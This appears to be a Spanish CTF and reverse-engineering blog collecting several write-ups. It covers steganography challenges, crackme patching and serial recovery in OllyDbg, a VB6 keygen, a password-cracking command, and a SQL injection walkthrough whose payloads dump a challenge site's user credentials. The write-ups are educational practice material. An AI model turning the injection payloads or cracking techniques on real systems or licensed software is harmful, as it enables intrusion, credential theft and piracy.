While Crackmes.de returns, I leave a couple of files for practice.
Mientras vuelve Crackmes.de, os dejo un par de archivos para practicar.
In the folder crackmes.de_mirror you have two files:
En la carpeta crackmes.de_mirror tienes dos archivos:
password of files = deurus.info
Toda esta aventura comienza con un archivo llamado pretty_raw, sin extensión. Porque sí. Porque las extensiones son una invención heredada de CP/M, precursor de MS-DOS, que Windows terminó de popularizar. Porque son innecesarias. Y porque echo de menos cuando los archivos se reconocían por sus permisos… y no por cómo se llamaban.
Como iba diciendo, todo esto comienza mediante el análisis de pretty_raw. Mirando debajo de la falda con un editor hexadecimal encontramos unos cuantos bytes aleatorios hasta dar con una cabecera PNG.
Si atendemos a la captura, justo antes de la cabecera PNG tenemos 116.254 bytes (0x1C61E). Tomad nota que este número será relevante más adelante.
Extraemos el PNG, lo visualizamos y lo pasamos por todas las herramientas habidas y por haber. Nada funciona. Volvemos a visualizarlo con atención y vemos que hace referencia a un archivo llamado flag.png con unas dimensiones que no coinciden con la extraída.
Toca centrarse y pensar en que camino tomar. Hemos gastado tiempo con el PNG extraído y quizá lo mejor sea centrarse en los bytes que inicialmente hemos descartado. En concreto se trata de un bloque de 116.254 bytes, pero espera, 1570×74=116.180 bytes. ¡Mierda!, no coincide exactamente con los bytes extraídos. Bueno, da igual. Si suponemos que el PNG que buscamos no tiene compresión y que cada pixel ocupa un byte (escala de grises y 8 bits), su tamaño depende únicamente de la geometría y de cómo se almacenan las filas en memoria. Vamos a procesarlo con Python para salir de dudas.
import numpy as np
from PIL import Image
INPUT_FILE = "pretty_raw"
OUTPUT_FILE = "pretty_raw_flag.png"
WIDTH = 1570 # ¿estás seguro?
HEIGHT = 74
DEPTH = 8 # bits
# Leer archivo como RAW
with open(INPUT_FILE, "rb") as f:
raw = f.read()
expected_size = WIDTH * HEIGHT
if len(raw) < expected_size:
raise ValueError("El archivo no tiene suficientes datos")
# Convertir a array numpy (grayscale 8 bits)
img = np.frombuffer(raw[:expected_size], dtype=np.uint8)
img = img.reshape((HEIGHT, WIDTH))
# Crear imagen
image = Image.fromarray(img, mode="L")
image.save(OUTPUT_FILE)
print(f"Imagen generada correctamente: {OUTPUT_FILE}")
El script nos devuelve un PNG válido pero con las letras torcidas. Tras darle vueltas me di cuenta de que si en el script usamos como WIDTH=1571 en lugar de 1570, la imagen resultante es correcta y tiene todo el sentido del mundo ya que 1571×74=116.254, que son exactamente los bytes que se encuentran antes del png señuelo.
Aunque el ancho visible de la imagen es de 1570 píxeles, cada fila ocupa realmente 1571 bytes. Ese byte adicional actúa como relleno (padding) y forma parte del stride o bytes por fila. Ignorar este detalle lleva a un desplazamiento erróneo acumulativo y por eso se ve la imagen torcida. En este caso concreto da igual ya que el texto se aprecia, pero si el reto hubiera sido más exigente no se vería nada.
En este reto se nos entrega un archivo WAV de 9,92 MB. Tras escucharlo y analizarlo por encima con Audacity no llego a ningún lado por lo que me tiro al descarte de herramientas conocidas, y en ésta ocasión sale a escena DeepSound.
Sin más dilación extraemos el JPG y continuamos.
La aparición en escena de DeepSound me hace sospechar sobre el uso de herramientas conocidas y ¡bingo!, sale a escena StegHide. En esta ocasión el autor del reto nos lo ha puesto fácil y la extracción no requiere clave.
Al abrir el archivo TXT como texto vemos lo siguiente:
y si lo abrimos con un editor hexadecimal vemos esto otro:
Claramente el archivo esconde algo que por la repetición de los caracteres me hace sospechar de un simple XOR y efectivamente la flag está XOReada. Tras un ataque preliminar, digamos que los árboles no me dejaban ver el bosque, de modo que limpié los bytes correspondientes a la frase «this is the flag :)» y procesé de nuevo obteniendo por fin la ansiada flag.
RAW bytes
FF FE 74 00 68 00 69 00 73 00 20 00 40 DB 53 DC 40 DB 48 DC 40 DB 53 DC 40 DB 7B DC 40 DB 74 DC 69 00 73 00 20 00 40 DB 30 DC 40 DB 30 DC 40 DB 5F DC 40 DB 33 DC 40 DB 34 DC 74 00 68 00 65 00 20 00 40 DB 73 DC 40 DB 79 DC 40 DB 5F DC 40 DB 6D DC 40 DB 34 DC 66 00 6C 00 61 00 67 00 20 00 40 DB 6E DC 40 DB 7D DC 40 DB 20 DC 3A 00 29 00
Cleaned bytes [quitando this is the flag :)]
FF FE 40 DB 53 DC 40 DB 48 DC 40 DB 53 DC 40 DB 7B DC 40 DB 74 DC 40 DB 30 DC 40 DB 30 DC 40 DB 5F DC 40 DB 33 DC 40 DB 34 DC 40 DB 73 DC 40 DB 79 DC 40 DB 5F DC 40 DB 6D DC 40 DB 34 DC 40 DB 6E DC 40 DB 7D DC 40 DB 20 DC
clave XOR == 00fc60fb
Resultado
S H S { t 0 0 _ 3 4 s y _ m 4 n }
Hace poco me reencontré con esta entrañable serie que tanto me entretuvo cuando era pequeño y para mi sorpresa, me percaté de que nunca había visto el episodio piloto. La nostalgia me llevó a tragarme el episodio entero y a disfrutar a lo grande de la parafernalia técnica de la que hace gala para justificar la creación que da nombre a la serie.
Esto hay que analizarlo con perspectiva. Estamos en los años 80 y nos están presentando un coche capaz de mantener una conversación, es decir, nos están presentando una inteligencia artificial (IA) llamada KITT. Puede parecer que el término inteligencia artificial es nuevo pero realmente se acuño en 1956 por John McCarthy. A partir de ese momento surgieron líneas de estudio e hipótesis pero a partir de los 70 se puede considerar que la investigación sobre la IA perdió financiación y quedó en el congelador hasta los años 90. Dicho esto, cuando nos presentan a KITT lo hacen de la siguiente manera:
Devon Miles: Está totalmente controlado por microprocesadores que hacen físicamente imposible que se vea implicado en ningún tipo de colisión o percance a no ser que se lo ordene su piloto específicamente
Michael Knight: ¿Piloto?, no me diga que esta cosa vuela
Devon Miles: ¡No!, pero piensa
Michael Knight: ¿Piensa?, ¿mi coche piensa?
Intel daba a conocer el primer microprocesador allá por el 71 y la serie se estrenó en el 82 lo que le da credibilidad en ese aspecto, aunque dudo que el público de esa época supiera que era un microprocesador, un ordenador y menos una IA.
La serie arranca con un grupo de personas realizando espionaje industrial donde nos muestran las hojas de datos de dos chips Japoneses como son el PD8257-5 y el PD780. Un aplauso para los guionistas y sus asesores ya que el PD8257-5 es una interfaz de comunicaciones y el PD780 un microprocesador de 8 bits.
Lo más interesante es que lo que se muestra es real como podéis apreciar en la siguiente imagen
A continuación un detalle de las capturas realizadas:
Más adelante vuelven a aparecer imágenes en un PC que parecen puestas en post-producción y que son robadas en un maravilloso disco de 5 1/4.
Llaman la atención mucho los diálogos centrados en el microprocesador como si de un ser superior se tratase, éste es la referencia continua y la parte central del guion de los dos primeros capítulos. Curiosamente aparecen en pantalla multitud de imágenes de circuitos integrados pero no se llega a ver ningún microprocesador. Por otro lado, es interesante el esfuerzo que hacen los guionistas por que llamemos a KITT él en vez de ello, convirtiendo al coche en un personaje más.
Otra cosa que llama mucho la atención son los tópicos de los que hace gala como la asociación de los microprocesadores a los videojuegos o que la empresa villana esté afincada en Silicon Valley. Incluso el nombre KITT es un tópico ya que las siglas vienen de Knight Industries Two Thousand que en cristiano quiere decir Industrias Knight 2000. Y es que en mi opinión el año 2000 se imaginaba como una barrera lejana en la que todo iba a ser tecnológicamente más avanzado.
Tengo que reconocer que me ha sorprendido que dieran realismo a los chips mostrados teniendo en cuenta que aparecen muy pocos segundos en pantalla y podían haber puesto cualquier cosa.
Por otro lado, la realidad es que en el año 2022 aún nos queda recorrido para llegar a tener un coche fantástico y lo más parecido que tenemos hoy día sería un Tesla con Alexa.
Hace unos años cuando empecé a trastear con Android y animado por mi afición a la Ingeniería Inversa, decidí realizar una serie de crackmes. Los dos primeros pasaron algo desapercibidos, pero el Crackme nº3 tuvo una gran repercusión en el mundillo y, aunque no fue el primer crackme para Android ni mucho menos, si que fue uno de los más estudiados. Todos ellos fueron publicados a través de crackmes.de y el nº3 en cuestión el 6 de Noviembre de 2010. Os dejo una lista de unas cuantas webs donde aparece analizado para que veáis la repercusión que a mi parecer tuvo.
Los retos de criptografía pueden ser muy variados como he dicho anteriormente. El secreto suele estar en saber a que te enfrentas y posteriormente construir una herramienta para descifrarlo o usar una ya existente (la mayoría de los casos).
Una web con la que suelo resolver la mayoría de retos es dcode.fr. Si os fijáis en el enlace, la lista de categorías asciende a 48 y disponéis de unos 800 algoritmos para rebanaros los sesos.
A continuación veamos unos cuantos retos que podéis encontrar por la red. Cabe destacar que normalmente el título del reto dice mucho del algoritmo.
Con John The Ripper tenemos que preparar un archivo de texto del estilo: deurus.info:1011:4C240DDAB17D1796AAD3B435B51404EE:4C240DDAB17D1796AAD3B435B51404EE:::
y ejecutar el comando: john –format=lm LM.txt
Conversiones, cifra clásica, hash, simétricos, asimétricos, combinaciones de varios algoritmos y un largo etcetera. Como veis los hay para todos los gustos, ten en cuenta que aquí os muestro una pequeñísima parte de lo que os encontrareis en las webs de retos, pero para despertar la curiosidad es suficiente.
¡Hala, a decodificar!
Hoy tenemos aquí un capitulo del gran David Slade, productor de Series como American Gods o Hannibal y director de películas como Hard Candy o 30 días de oscuridad.
Lo que más me ha gustado del capítulo es el guiño que han hecho a la RaspBerry PI. La escena transcurre al inicio del capítulo cuando uno de los protagonistas se conecta a un vehículo para hackearlo con una Raspi 3 Model B con varios pines del GPIO doblados. Os dejo unas capturas a continuación donde se aprecia el logo.
Ya puestos, la conexión parece micro usb tipo B. Al fondo se ve lo que parece un puerto HDMI.
Lo que no me ha gustado es que al fijarme en el software que corre en el vehículo aparece un flamante OMNIBOOT.EXE con un aspecto parecido al símbolo de sistema, es decir, nos intentan vender que en un futuro el software que gestiona el vehículo es alguna variación de Windows, algo poco probable a día de hoy al menos. Con este tipo de predicciones no se puede escupir hacia arriba pero actualmente es más probable un nucleo tipo Linux u otro propietario al estilo Tesla.
Software del vehículo
Os dejo todas las capturas relevantes a continuación.
Este crackme pertenece a la página de Karpoff Spanish Tutor. Data del año 2000 y está realizado en «Borland Delphi 6.0 – 7.0», además, para resolverlo deberemos activar un botón y conseguir la clave de registro. La principal dificultad proviene a la hora de activar el botón ya que el serial es en realidad un serial hardcodeado muy sencillo.
Existen numerosas herramientas para facilitarnos esta tarea, una de las más conocidas en el entorno del Cracking es «Veoveo» realizado por Crack el Destripador & Marmota hace ya unos añitos. Con el crackme ejecutado, ejecutamos VeoVeo y nos aparece el icono en la barra de tareas, hacemos click derecho y elegimos Activar Botones (manual) y ya tenemos el botón activado. Claro está que en cada ejecución del Crackme debemos de Re-activarlo.
Lo que siempre nos interesa es que el botón esté activado de forma permanente y eso nos exige un poco más de atención. En este caso nos enfrentamos a Delphi y no nos sirve ni Resource Hacker ni Dede. Cuando nos encontramos en un punto muerto el último recurso siempre es realizar un programa en Delphi con un botón activado y otro desactivado y compararlos con un editor hexadecimal para saber que cambia. Si hacemos esto llegaremos a la conclusión de que en Delphi el bit que equivale a desactivado es 8 y ha activado es 9. Con este simple cambio ya tenemos el crackme parcheado. Comentar que en este caso el crackme no tiene ningún timer ni ninguna rutina que desactive el botón de forma periódica, este es el caso más simple.
Abrimos Ollydbg y en las «String references» encontramos los mensajes de versión registrada, pinchamos sobre ellos y vemos a simple vista la zona de comprobación del serial. Como podéis observar, el serial se vé a simple vista.
0045811A |. B8 10824500 MOV EAX,CrackMe3.00458210 ; ASCII "ESCRIBE ALGO JOER" 0045811F |. E8 D889FDFF CALL CrackMe3.00430AFC 00458124 |. EB 5C JMP SHORT CrackMe3.00458182 00458126 |> 807D FF 4F CMP BYTE PTR SS:[EBP-1],4F - O 0045812A |. 75 56 JNZ SHORT CrackMe3.00458182 0045812C |. 807D FE 41 CMP BYTE PTR SS:[EBP-2],41 - A 00458130 |. 75 50 JNZ SHORT CrackMe3.00458182 00458132 |. 807D FD 45 CMP BYTE PTR SS:[EBP-3],45 - E 00458136 |. 75 4A JNZ SHORT CrackMe3.00458182 00458138 |. 807D FC 4B CMP BYTE PTR SS:[EBP-4],4B - K 0045813C |. 75 44 JNZ SHORT CrackMe3.00458182 0045813E |. 807D FB 43 CMP BYTE PTR SS:[EBP-5],43 - C 00458142 |. 75 3E JNZ SHORT CrackMe3.00458182 00458144 |. 807D FA 41 CMP BYTE PTR SS:[EBP-6],41 - A 00458148 |. 75 38 JNZ SHORT CrackMe3.00458182 0045814A |. 807D F9 52 CMP BYTE PTR SS:[EBP-7],52 - R 0045814E |. 75 32 JNZ SHORT CrackMe3.00458182 00458150 |. 807D F8 4B CMP BYTE PTR SS:[EBP-8],4B - K 00458154 |. 75 2C JNZ SHORT CrackMe3.00458182 00458156 |. 807D F7 20 CMP BYTE PTR SS:[EBP-9],20 - 0045815A |. 75 26 JNZ SHORT CrackMe3.00458182 0045815C |. 807D F6 49 CMP BYTE PTR SS:[EBP-A],49 - I 00458160 |. 75 20 JNZ SHORT CrackMe3.00458182 00458162 |. 807D F5 4F CMP BYTE PTR SS:[EBP-B],4F - O 00458166 |. 75 1A JNZ SHORT CrackMe3.00458182 00458168 |. 807D F4 54 CMP BYTE PTR SS:[EBP-C],54 - T 0045816C |. 75 14 JNZ SHORT CrackMe3.00458182 0045816E |. 807D F3 20 CMP BYTE PTR SS:[EBP-D],20 - 00458172 |. 75 0E JNZ SHORT CrackMe3.00458182 00458174 |. 807D F2 41 CMP BYTE PTR SS:[EBP-E],41 - A 00458178 |. 75 08 JNZ SHORT CrackMe3.00458182 0045817A |. 807D F1 59 CMP BYTE PTR SS:[EBP-F],59 - Y 0045817E |. 75 02 JNZ SHORT CrackMe3.00458182 00458180 |. B3 01 MOV BL,1 00458182 |> 80FB 01 CMP BL,1 00458185 |. 75 4C JNZ SHORT CrackMe3.004581D3 00458187 |. BA 2C824500 MOV EDX,CrackMe3.0045822C 0045818C |. 8B86 F4020000 MOV EAX,DWORD PTR DS:[ESI+2F4] 00458192 |. E8 B5EBFDFF CALL CrackMe3.00436D4C 00458197 |. BA 48824500 MOV EDX,CrackMe3.00458248 ; ASCII "VERSION REGISTRADA :)" Serial = YA TOI KRACKEAO
En este reto se nos entrega un archivo WAV de 9,92 MB. Tras escucharlo y analizarlo por encima con Audacity no llego a ningún lado por lo que me tiro al descarte de herramientas conocidas, y en ésta ocasión sale a escena DeepSound.
Sin más dilación extraemos el JPG y continuamos.
La aparición en escena de DeepSound me hace sospechar sobre el uso de herramientas conocidas y ¡bingo!, sale a escena StegHide. En esta ocasión el autor del reto nos lo ha puesto fácil y la extracción no requiere clave.
Al abrir el archivo TXT como texto vemos lo siguiente:
y si lo abrimos con un editor hexadecimal vemos esto otro:
Claramente el archivo esconde algo que por la repetición de los caracteres me hace sospechar de un simple XOR y efectivamente la flag está XOReada. Tras un ataque preliminar, digamos que los árboles no me dejaban ver el bosque, de modo que limpié los bytes correspondientes a la frase «this is the flag :)» y procesé de nuevo obteniendo por fin la ansiada flag.
RAW bytes
FF FE 74 00 68 00 69 00 73 00 20 00 40 DB 53 DC 40 DB 48 DC 40 DB 53 DC 40 DB 7B DC 40 DB 74 DC 69 00 73 00 20 00 40 DB 30 DC 40 DB 30 DC 40 DB 5F DC 40 DB 33 DC 40 DB 34 DC 74 00 68 00 65 00 20 00 40 DB 73 DC 40 DB 79 DC 40 DB 5F DC 40 DB 6D DC 40 DB 34 DC 66 00 6C 00 61 00 67 00 20 00 40 DB 6E DC 40 DB 7D DC 40 DB 20 DC 3A 00 29 00
Cleaned bytes [quitando this is the flag :)]
FF FE 40 DB 53 DC 40 DB 48 DC 40 DB 53 DC 40 DB 7B DC 40 DB 74 DC 40 DB 30 DC 40 DB 30 DC 40 DB 5F DC 40 DB 33 DC 40 DB 34 DC 40 DB 73 DC 40 DB 79 DC 40 DB 5F DC 40 DB 6D DC 40 DB 34 DC 40 DB 6E DC 40 DB 7D DC 40 DB 20 DC
clave XOR == 00fc60fb
Resultado
S H S { t 0 0 _ 3 4 s y _ m 4 n }
Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.
¡Funcionó!, el enlace ha pasado el filtro.
¿Cómo podemos aprovechar esto?, pués la forma más común es «XSS cross site scripting«. Veamos una prueba. Con el parámetro oculto otra vez en 0 mandamos el siguiente enlace y reto superado.
En el primer vistazo con el editor hexadecimal ya vemos la solución al reto:
Al igual que el caso anterior con el editor hexadecimal tenemos más que suficiente para resolver el reto.
En el análisis inicial no destaca prácticamente nada excepto la palabra myadmin que podemos ver con un editor hexadecimal.
La palabra myadmin es una buena candidata a ser contraseña ante una decodificación. Probamos con lo estándar y conseguimos resultados con steghide. La decodificación nos devuelve la cadena AEMAVABGAGwAZQBhAHIAbgB7AHQAaABpAHMAXwBpAHMAXwBmAHU***** que rápidamente catalogamos como base64 para resolver el reto.
Se nos entrega una imagen GIF aparentemente corrupta. Estudiando un poco la cabecera de los archivos GIF llegamos rápidamente a la conclusión de que faltan los cuatro primeros bytes del archivo.
Bytes originales
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 39 61 F4 01 F4 01 F4 00 00 00 00 00 3A 00 00 00 9aô.ô.ô.....:...
00000010 00 3A 3A 00 3A 66 00 00 66 00 3A 00 00 66 90 3A .::.:f..f.:..f.:
00000020 00 90 3A 3A B6 66 00 B6 66 3A 90 90 3A DB 90 3A ..::¶f.¶f:..:Û.:
00000030 FF B6 66 00 3A 90 66 3A 90 00 66 90 00 66 B6 3A ÿ¶f.:.f:..f..f¶:
Después de insertar los bytes que faltan
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 47 49 46 38 39 61 F4 01 F4 01 F4 00 00 00 00 00 GIF89aô.ô.ô.....
00000010 3A 00 00 00 00 3A 3A 00 3A 66 00 00 66 00 3A 00 :....::.:f..f.:.
00000020 00 66 90 3A 00 90 3A 3A B6 66 00 B6 66 3A 90 90 .f.:..::¶f.¶f:..
00000030 3A DB 90 3A FF B6 66 00 3A 90 66 3A 90 00 66 90 :Û.:ÿ¶f.:.f:..f.Una vez insertados los bytes podemos ver una animación que contiene una cadena de texto fácilmente reconocible como base64. La decodificamos y ya tenemos la solución.
Mirando con un editor hexadecimal no encontramos nada excepto la frase This is not the flag you are looking for para intentar disuadirnos.
Cargamos la imagen en Aperi’Solve y enseguida nos llama la atención la sección Binwalk y un suculento Rar.
Descargamos el archivo Rar y al descomprimir nos encontramos con un archivo de texto con la misma frase desalentadora del inicio y una imagen JPG, esta vez con dos oreos. Inspeccionando la imagen damos con la solución.
Es un crackme realizado en ensamblador y en el que el objetivo es remover la NAG de la forma más limpia posible.
Abrimos el crackme con Olly y ya a simple vista vemos los mensajes de la Nag y parte del código interesante. Si necesitaramos localizar la Nag podemos mirar en las intermodular calls las típicas subrutinas, en este caso se ve claramente a MessageBoxA, bastaría con poner un breakpoint para localizar quien llama.
Aquí vemos la implicación de MessageBoxA.
004010A7 |> \6A 40 PUSH 40 ; /Style = MB_OK|MB_ICONASTERISK|MB_APPLMODAL 004010A9 |. 68 61304000 PUSH Nag1.00403061 ; |Title = "[NAG] Please register this software!" 004010AE |. 68 86304000 PUSH Nag1.00403086 ; |Text = "[BULLSHIT] Please register this software for support and you'll receive the full version!" 004010B3 |. FF75 08 PUSH [ARG.1] ; |hOwner = 7FFDF000 004010B6 |. E8 49010000 CALL <JMP.&user32.MessageBoxA> ; \MessageBoxA ........ 00401137 |. 6A 40 PUSH 40 ; /Style = MB_OK|MB_ICONASTERISK|MB_APPLMODAL 00401139 |. 68 6E324000 PUSH Nag1.0040326E ; |Title = "Thank you!" 0040113E |. 68 79324000 PUSH Nag1.00403279 ; |Text = "Thank you for registering this software!" 00401143 |. FF75 08 PUSH [ARG.1] ; |hOwner = 7FFDF000 00401146 |. E8 B9000000 CALL <JMP.&user32.MessageBoxA> ; \MessageBoxA ........ 00401155 |. 6A 40 PUSH 40 ; /Style = MB_OK|MB_ICONASTERISK|MB_APPLMODAL 00401157 |. 68 E0304000 PUSH Nag1.004030E0 ; |Title = "About" 0040115C |. 68 E6304000 PUSH Nag1.004030E6 ; |Text = "Remove the NAG by TDC\r\n\n..: Coded by\t: TDC\t\t\t:..\t\r\n..: Also known as\t: The Dutch Cracker\t:..\t\r\n..: Protection\t: Custom\t\t\t:..\t\r\n..: Contact info\t: tdc123@gmail.com\t:..\t\r\n..: Release date\t: 09-08-2005\t\t:..\t"... 00401161 |. FF75 08 PUSH [ARG.1] ; |hOwner = 7FFDF000 00401164 |. E8 9B000000 CALL <JMP.&user32.MessageBoxA> ; \MessageBoxA
Un poco encima vemos la función SetDlgItemTextA, que nos mostrará el mensaje de que hemos parcheado correctamente.
00401106 |> \68 21304000 PUSH Nag1.00403021 ; /Text = "Dirty crack! Nag removed not registered!" 0040110B |. 6A 73 PUSH 73 ; |ControlID = 73 (115.) 0040110D |. FF75 08 PUSH [ARG.1] ; |hWnd = 7FFDF000 00401110 |. E8 FB000000 CALL <JMP.&user32.SetDlgItemTextA> ; \SetDlgItemTextA 00401115 |. EB 36 JMP SHORT Nag1.0040114D 00401117 |> 68 10304000 PUSH Nag1.00403010 ; /Text = "Nag not removed!" 0040111C |. 6A 73 PUSH 73 ; |ControlID = 73 (115.) 0040111E |. FF75 08 PUSH [ARG.1] ; |hWnd = 7FFDF000 00401121 |. E8 EA000000 CALL <JMP.&user32.SetDlgItemTextA> ; \SetDlgItemTextA 00401126 |. EB 25 JMP SHORT Nag1.0040114D 00401128 |> 68 4A304000 PUSH Nag1.0040304A ; /Text = "Clean crack! Good Job!" 0040112D |. 6A 73 PUSH 73 ; |ControlID = 73 (115.) 0040112F |. FF75 08 PUSH [ARG.1] ; |hWnd = 7FFDF000 00401132 |. E8 D9000000 CALL <JMP.&user32.SetDlgItemTextA> ; \SetDlgItemTextA
Encima de SetDlgItemTextA vemos el código que analiza si la Nag tiene que aparecer.
004010E6 |. E8 C4000000 CALL Nag1.004011AF ; ; Llamada interesante a analizar 004010EB |. 803D B0324000 03 CMP BYTE PTR DS:[4032B0],3 004010F2 |. 74 12 JE SHORT Nag1.00401106 ; ; Si de la llamada volvemos con un 3 -> Parcheo chapuza 004010F4 |. 803D B0324000 02 CMP BYTE PTR DS:[4032B0],2 004010FB |. 74 1A JE SHORT Nag1.00401117 ; ; Si de la llamada volvemos con un 2 -> Sin parchear 004010FD |. 803D B0324000 01 CMP BYTE PTR DS:[4032B0],1 00401104 |. 74 22 JE SHORT Nag1.00401128 ; ; Si de la llamada volvemos con un 1 -> Buen trabajo Joe! ........ 004011AF /$ 68 A2324000 PUSH Nag1.004032A2 ; /String2 = "Value1" 004011B4 |. 68 A9324000 PUSH Nag1.004032A9 ; |String1 = "Value2" 004011B9 |. E8 64000000 CALL <JMP.&kernel32.lstrcmpA> ; \lstrcmpA 004011BE |. 50 PUSH EAX ; kernel32.BaseThreadInitThunk 004011BF |. 85C0 TEST EAX,EAX ; kernel32.BaseThreadInitThunk 004011C1 |. 75 10 JNZ SHORT Nag1.004011D3 004011C3 |. 33C0 XOR EAX,EAX ; kernel32.BaseThreadInitThunk 004011C5 |. 58 POP EAX ; kernel32.75CDEE1C 004011C6 |. 85C0 TEST EAX,EAX ; kernel32.BaseThreadInitThunk 004011C8 |. 74 15 JE SHORT Nag1.004011DF 004011CA |. C605 B0324000 03 MOV BYTE PTR DS:[4032B0],3 004011D1 |. EB 17 JMP SHORT Nag1.004011EA 004011D3 |> 58 POP EAX ; kernel32.75CDEE1C 004011D4 |. 33C0 XOR EAX,EAX ; kernel32.BaseThreadInitThunk 004011D6 |. C605 B0324000 02 MOV BYTE PTR DS:[4032B0],2 004011DD |. EB 0B JMP SHORT Nag1.004011EA 004011DF |> 33C0 XOR EAX,EAX ; kernel32.BaseThreadInitThunk 004011E1 |. C605 B0324000 01 MOV BYTE PTR DS:[4032B0],1 004011E8 |. EB 00 JMP SHORT Nag1.004011EA 004011EA \> C3 RETN
Vemos dentro del Call 4011AF que Compara si Value1 = Value2 y dependiendo de esa comparación guarda en memoria (4032B0), los valores 1, 2 ó 3.
Basta con modificar en un editor hexadecimal la parabra «Value2» por «Value1» y ya tenemos el problema resuelto.
Al pulsar Re-Check
Se podía haber parcheado un montón de código para obtener el mismo resultado pero fijándonos en el código lo hemos conseguido parcheando un solo byte. Recuerda, cuando halla que parchear, cuantos menos bytes mejor.
Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.
Seguido tenemos la pregunta de seguridad.
Introducimos cualquier cosa y nos muestra el siguiente error.
El error nombra la tabla «security«, luego la usaremos.
Intentamos sin éxito inyectar en la pregunta de seguridad, de modo que nos centraremos en el login.
Para inyectar a continuación meter cualquier nombre y la inyección en el password.
SQLI: ' OR EXISTS(SELECT * FROM users WHERE name='admin' AND password LIKE '%w%') AND ''=' Response: Table 'thisi30_chal.users' doesn't exist
SQLI: 0' UNION SELECT @@version,null' Response: 5.5.36-cll
SQLI: 0' UNION SELECT table_name,null FROM information_schema.tables WHERE version = '10 Response: userdb
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'security Response: ID,name,secquestion,answer
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'userdb Response: id,name,password
Ya tenemos las dos tablas que nos interesan con las columnas correspondintes, ahora vamos a por lo que hemos venido a buscar.
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '1 Response: 1:admin:fr0gger SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '2 Response: 2:jack:simple123 SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '3 Response: 3:cr0pt:cr0p111 SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '4 Response: 4:us3r:a1b2c3 SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '5 Response: ERROR, there are only 4 users
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '1 Response: 1:admin:mothers maiden name:******* SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '2 Response: 2:jack:birthplace:***** SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '3 Response: 3:cr0pt:querty:**** SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '4 Response: 4:us3r:favourite food:*** SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '5 Response: ERROR, there are only 4 users
Aunque aquí se muestra el resumen final, hasta dar con la solución correcta tuve que probar hasta 20 inyecciones diferentes. Mi consejo es que leáis todos los manuales que podáis hasta entender correctamente a que os enfrentais ya que por ejemplo, con este reto se puede aprender perfectamente como funciona una inyección SQL más compleja.
Hoy tenemos aquí un crackme hecho en Visual Basic 6 (pcode), pero lo vamos a abordar de una manera diferente, ya que, vamos a conseguir el código fuente mediante VB Decompiler, le vamos a hacer una serie de modificaciones para hacerlo funcional con la ayuda de ExDec, y a partir de eso vamos a generar nuestro propio keygen.
El funcionamiento del crackme es simple, tenemos una primera caja de texto «Code» que en función de lo que introduzcamos nos activa el botón «OK». Al pulsar el botón comprueba lo que tengamos en la caja de texto «Serial» para haber si está todo correcto.
Abrimos el crackme con VB Decompiler y vemos sus fauces.
Pinchando en cada parte obtenemos su respectivo código fuente.
El botón OK
Private Sub Command1_Click() '402F70 'Data Table: 402724 Dim ourserial As Variant ourserial = CVar(Me.SERIAL.Text) 'String If (ourserial = cript(Left$(Me.CODE.Text, &HA))) Then MsgBox "Great", 0, ourserial End End If Dim x As String x = cript(Left$(Me.CODE.Text, &HA)) MsgBox "Not Completed - " & x, 0, ourserial Me.CODE.Text = "" Me.SERIAL.Text = "" Exit Sub End Sub
El evento KeyUp
Private Sub CODE_KeyUp(KeyCode As Integer, Shift As Integer) 'Data Table: 402724 If (Len(Me.CODE.Text) > 4) Then ourserialsum = checkcode(Me.CODE.Text) If CBool((ourserialsum > 70) And (ourserialsum < 90)) Then Me.Command1.Enabled = True End If End If Exit Sub End Sub
La función cript
Public Function cript(a) 'Data Table: 402724 Dim var_9C As Long var_98 = CStr(UCase(a)) For var_10C = 1 To CVar(Len(var_98)): var_CC = var_10C 'Variant var_9C = CLng((CVar(var_9C) + (CVar((Asc(Mid$(var_98, CLng(var_CC), 1)) - 9) Xor &H58) + var_CC) ^ 2)) Next var_10C 'Variant For var_160 = 1 To 100: var_140 = var_160 If (Mid$(CVar(Me.CODE.Text), CLng(var_140), 1) = vbNullString) Then GoTo loc_4030C0 End If Next var_160 loc_4030C0: var_9C = CLng(((CVar(var_9C) * Int((var_140 / 2))) * 16)) var_94 = Hex(var_9C) 'Variant cript = var_94 End Function
La función checkcode
Public Function checkcode(a) For var_F4 = 1 To CVar(Len(a)): var_A4 = var_F4 var_128 = var_128 + (CVar(Asc(Mid$(a, CLng(var_A4), 1)))) Next var_F4 var_94 = Int(((var_128 / CVar(Len(a) / CVar(Len(a))))) checkcode = var_94 End Function
Se compone de dos partes, el código y el serial.
Si el resultado de la función checkcode está entre 70 y 90 nos activa el botón OK.
Lo genera la función cript en función del código anterior.
Con lo obtenido anteriormente podemos entender perfectamente el comportamiento de la comprobación del serial pero si los cargamos en Visual Basic 6 y lo intentamos ejecutar tal cual nos dará una serie de errores. Es aquí cuando entra ExDec, ya que, nos proporciona el desensamblado del programa en forma de Opcode para poder comparar con el código obtenido.
En este caso el único problema se encuentra en la función checkcode en concreto en ésta línea:
var_94 = Int(((var_128 / CVar(Len(a) / CVar(Len(a)))))
El problema está en que divide dos veces entre el número de dígitos de a, si lo analizamos vemos que es imposible ya que nunca nos daría un código entre 70 y 90. La corrección queda así:
